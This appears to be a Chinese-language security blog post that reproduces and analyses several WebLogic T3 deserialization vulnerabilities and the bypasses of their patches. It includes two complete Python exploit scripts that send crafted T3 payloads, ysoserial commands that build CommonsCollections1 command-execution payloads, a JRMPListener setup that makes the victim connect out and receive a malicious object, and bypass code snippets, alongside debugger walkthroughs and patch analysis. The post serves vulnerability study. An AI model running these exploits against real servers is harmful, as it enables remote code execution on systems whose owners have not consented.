0%

Weblogic T3协议反序列化

环境搭建

参考:https://www.penson.top/article/av40

何为T3协议

T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。

在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。

weblogic反序列化流程图:

img

漏洞复现(CVE-2015-4852)

环境:10.3.6

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

sock.send(payload)
1
python2 Weblogic.py 127.0.0.1 7001 payload.tmp

tmp文件生成:

1
java -jar ysoserial.jar CommonsCollections1 "calc" > "payload.tmp"

image-20240119101117196

漏洞分析

远程调试:修改启动的cmd文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ECHO OFF

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n

@REM WARNING: This file is created by the Configuration Wizard.
@REM Any changes to this script may be lost when adding extensions to this configuration.

SETLOCAL

set DOMAIN_HOME=D:\weblogic\midddle\user_projects\domains\test_domain

call "%DOMAIN_HOME%\bin\startWebLogic.cmd" %*



ENDLOCAL

数据包分析

利用wireshark抓取本地回环包

image-20240119102003122

第一部分是请求包头,第二部分是服务端的相应,第三部分是请求主体

在得到了正确的请求头后,Weblogic会返回一个包含版本号的信息

在反序列化数据包中,ac ed 00 05 是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05

image-20240119102459249

整个请求主体包含了6个部分的序列化数据,我们可以对其中任意一个部分进行攻击

202212071530929.png

代码分析与调试

入口类是在 InboundMsgAbbrev#readObject处,下个断点开始调试

image-20240119103307292

其中var1的head就是我们传入的序列化数据

image-20240119110524908

先步入ServerChannelInputStream构造函数

image-20240119103537573

var1是一个MsgAbbrevInputStream对象,MsgAbbrevInputStream是在Weblogic中实现的一个Java输入流类,用于接收消息并将其转换为Java对象

image-20240119103939469

super方法跟不进去,跟进getServerChannel方法

image-20240119104022308

this.connection是一个MsgAbbrevInputStream对象,这个对象中储存了一些连接信息,包括IP,端口等

image-20240119104643548

跟进getChannel方法

image-20240119104817446

继续调用BaseAbstractMuxableSocket对象的getChannel方法

image-20240119105554538

返回this.channel

image-20240119105617603

到这里,头部的信息已经处理完毕,重新回到InboundMsgAbbrev#readObject

image-20240119105930291

ServerChannelInputStream继承了ObjectInputStream类,调用其readObject方法

image-20240119192556931

接下来处理请求主体,反序列化过程中会调用到resolveClass方法

image-20240119111136627

最后和头部一样,调用原生的readObject方法,再进过几轮invoke,就可以来到AnnotationInvocationHandler的readObject方法

image-20240119114557146

修复

image-20240119191855204

在ServerChannelInputStream类的resolveClass方法处添加了黑名单

修复具体代码如下

image-20240121190844151

修复绕过(CVE-2016-0638)

简述

这个漏洞主要是找到了个黑名单之外的类”weblogic.jms.common.StreamMessageImpl”

简单来说,由于黑名单的限制,CVE-2015-4852利用链没法直接使用,这个漏洞像是整了个套娃,给CVE-2015-4852装进去了。

为什么使用StreamMessageImpl这个类呢?其实原理也很简单。StreamMessageImpl类中的readExternal方法可以接收序列化数据作为参数,而当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并执行该参数反序列化后对应类的readObject方法。

image-20240119202457841

如果我们把序列化后的CVE-2015-4852利用链序列化之后丢进readExternal呢?

当我们给上图StreamMessageImpl类的readExternal中传入序列化后的CVE-2015-4852利用链,在readExternal被执行时,会将CVE-2015-4852利用链数据反序列化,并在上图864行处调用其readObject方法,也就是AnnotationInvocationHandler的readObject方法

好了,AnnotationInvocationHandler的readObject方法被调用了,CVE-2015-4852复活了。

但是StreamMessageImpl类的readExternal要怎么被执行呢?在Weblogic反序列化流程中,会尝试调用类对象的readObject、readResolve、readExternal等方法。

修复分析与调试

由于需要打补丁,这里使用docker项目搭建环境

https://github.com/QAX-A-Team/WeblogicEnvironment/issues/10

如果遇到libnsl问题,修改dockerfile为如下:

1
2
3
4
5
6
7
8
9
10
11
12
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR

RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
RUN curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo
RUN yum clean all
RUN yum makecache
# 解决libnsl包丢失的问题
RUN yum -y install libnsl

后面补丁搭建参考:https://www.cnblogs.com/nice0e3/p/14207435.html

最后重启使用如下命令:docker restart fed2d68045d8

在修复代码处打个断点,开始调试

image-20240121192909220

跟进

image-20240121193028421

这个类还有个静态代码块,由于它是优先执行,所以我们先移步至static

image-20240121195524966

先是进行了两个if判断,我们来看看这两个方法

image-20240121195725297

分别判断了是否有disableblacklist和disabledefaultblacklist类

进行完这两个判断之后,会调用updateBlackList方法

image-20240121200247247

就是将传入的参数添加进HashSet黑名单,黑名单列表如下:

1
2
3
4
5
+org.apache.commons.collections.functors,
+com.sun.org.apache.xalan.internal.xsltc.trax,
+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,
+org.codehaus.groovy.runtime.ConversionHandler,
+org.codehaus.groovy.runtime.MethodClosure

回到isBlackListed方法,继续向下走,由于sun.reflect.annotation.AnnotationInvocationHandler类不在黑名单中,来到else语句

image-20240121200823197

lastIndexOf(46) 是获取最后一个点号的索引位置,即获取包名,接下来就是对包名进行一个黑名单过滤

image-20240121201200584

如果存在,那么返回true,resolveClass方法抛出异常,在利用链中,当尝试对org.apache.commons.collections.functors.ChainedTransformer类进行对象变换时,由于这个类在黑名单中,所以会抛出异常

image-20240121202028413

绕过工具分析

我们使用https://github.com/5up3rc/weblogic_cmd工具进行绕过调试

使用jdk6,并手动导入Tools.jar,编写配置

image-20240122093349005

在Main类中打上断点,开始调试

image-20240122093453474

image-20240122175526672

步入

image-20240122175627767

获取-C参数的值,并传入WebLogicOperation.blindExecute方法

image-20240122175732436

先判断服务器类型,然后调用SerialDataGenerator.serialBlindDatas方法,此方法为payload的生成方法,我们跟进

image-20240122180220341

调用blindExecutePayloadTransformerChain方法

image-20240122180531272

cc链的代码,没什么好说的,return,跟进serialData方法

image-20240122180650320

下面就是cc1链的内容,接着会步入到BypassPayloadSelector.selectBypass方法

image-20240122180846840

跟进

image-20240122180940387

进入else语句,调用Serializables.serialize方法

image-20240122181119939

返回一个ObjectOutputStream序列化对象,然后回到前一个点,将其传入streamMessageImpl方法

image-20240122182020685

将序列化对象转储到streamMessage对象中,回到这里

image-20240122182323792

对streamMessage对象又进行了一次序列化操作,最后将其返回,并将其用T3协议发送

image-20240122182444034

漏洞分析

漏洞原理如下:

1
将反序列化的对象封装进了 StreamMessageImpl,然后再对 StreamMessageImpl 进行序列化,生成 payload 字节码。反序列化时 StreamMessageImpl 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 StreamMessageImpl 对象调用 readObject 时对 StreamMessageImpl 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

在此先再来思考一个问题,weblogic.jms.common.StreamMessageImpl#readExternal()该方法是怎么被调用的呢?在前面分析原生readObject方法的时候发现,其实readObject方法的底层还会去调用很多其他方法。

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。而在这里readExternal就会被调用。

我们依旧在resolveClass处下个断点,然后工具发送payload

image-20240122183440735

可以看到接收到的是StreamMessageImpl对象了,不在黑名单中,我们在readExternal方法中下个断点就能窥探这个方法是如何被调用的了

image-20240122184250703

由于这里调用的是原生的readObject,所以也不会被补丁所修改的resloveClass所限制,命令执行成功

image-20240122184709989

另一种绕过(CVE-2016-3510)

和上一个漏洞差不多,就是利用MarshalledObject的readResolve方法

image-20240119204728032

CVE-2017-3248 & CVE-2018-2628

简介

这个漏洞会使用底层JRMP向指定的JRMP服务端发起一个连接,而我们可以伪造一个服务端,向客户端返回一个恶意对象,客户端收到这个恶意对象后反序列化造成命令执行。

具体受影响的Weblogic 版本列表如下:

12.1.2

12.1.2.0

12.1.3

12.1.3.0

12.2.1

12.2.1.0

12.2.1.1

12.2.1.2

10.3.6

10.3.6.0

本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后,开启JRMP客户端,并连接服务端 -》服务端发送exp给客户端,客户端上的DGC接收到响应即会反序列化。

漏洞复现

使用ysoserial开启一个JRMP服务端监听:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 "calc"

利用T3协议发送payload/JRMPClient:

1
python2 test.py 127.0.0.1 7001 ysoserial.jar 127.0.0.1 1234 JRMPClient

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')


def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')


if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

image-20240131134124093

漏洞分析

payload利用RemoteObjectInvocationHandler代理类封装UnicastRef对象(用于连接监听端),在反序列化时,首先会调用RemoteObjectInvocationHandler的readObject方法,但由于RemoteObjectInvocationHandler没有readObject方法,便会尝试调用其父类RemoteObject的readObject方法

image-20240131142223973

这中间主要是实例化了一个UnicastRef对象,并调用其readExternal方法

image-20240131143358737

跟进

image-20240131143845958

调用LiveRef的read方法

image-20240131143958492

对一些基本的JRMP连接信息进行了配置,最后会到这里

image-20240131144432243

尝试与监听端建立TCP连接,跟进

image-20240131144748528

接着调用EndpointEntry的registerRefs方法

image-20240131145201198

向注册中心注册 LiveRef 对象,并在注册完成后执行一些清理操作,说白了LiveRef对象就是监听端的ip和端口信息,注册完成后会调用makeDirtyCall方法

image-20240131145406252

跟进

image-20240131145535058

调用this.dgc.dirty方法,其中this.dgc为DGCImpl_Stub对象

image-20240131145652227

然后调用UnicastRef的invoke方法

image-20240131150031769

调用StreamRemoteCall的executeCall方法

image-20240131150359262

这个方法里面会调用到原生的readObject方法,从而触发我们的调用链

image-20240131150555125

补丁分析及绕过

一般反序列操作防御resolveProxyClass和resolveClass方法重写,进行黑名单匹配,这个补丁就是重写了resolveProxyClass,对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

1
2
3
4
5
6
7
8
9
10
11
12
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}

return super.resolveProxyClass(interfaces);

绕过方法1:直接去去掉Proxy,走resolveClass方法即可

绕过方法2:将接口接口由registry改为Activator(CVE-2018-2628)

1
Object object = Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, remoteObjectInvocationHandler);

利用方法将发送的序列化请求改为JRMPClient2即可

1
python2 2017-3248.py 127.0.0.1 7001 ysoserial.jar 127.0.0.1 9999 JRMPClient2

绕过方法3:用streamMessageImpl对remoteObjectInvocationHandler做一次封装

1
2
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));

CVE-2018-2191

主要是利用JtaTransactionManager中的lookup方法参数可控,导致反序列化该类之后发生了JNDI注入

image-20240131163937705

跟进initUserTransactionAndTransactionManager方法

image-20240131164121158

传入lookupUserTransaction方法的参数userTransactionName是可以通过setter方法进行赋值的

image-20240131164105160

继续看看lookupUserTransaction方法

image-20240131164219477

可控的lookup方法触发JNDI注入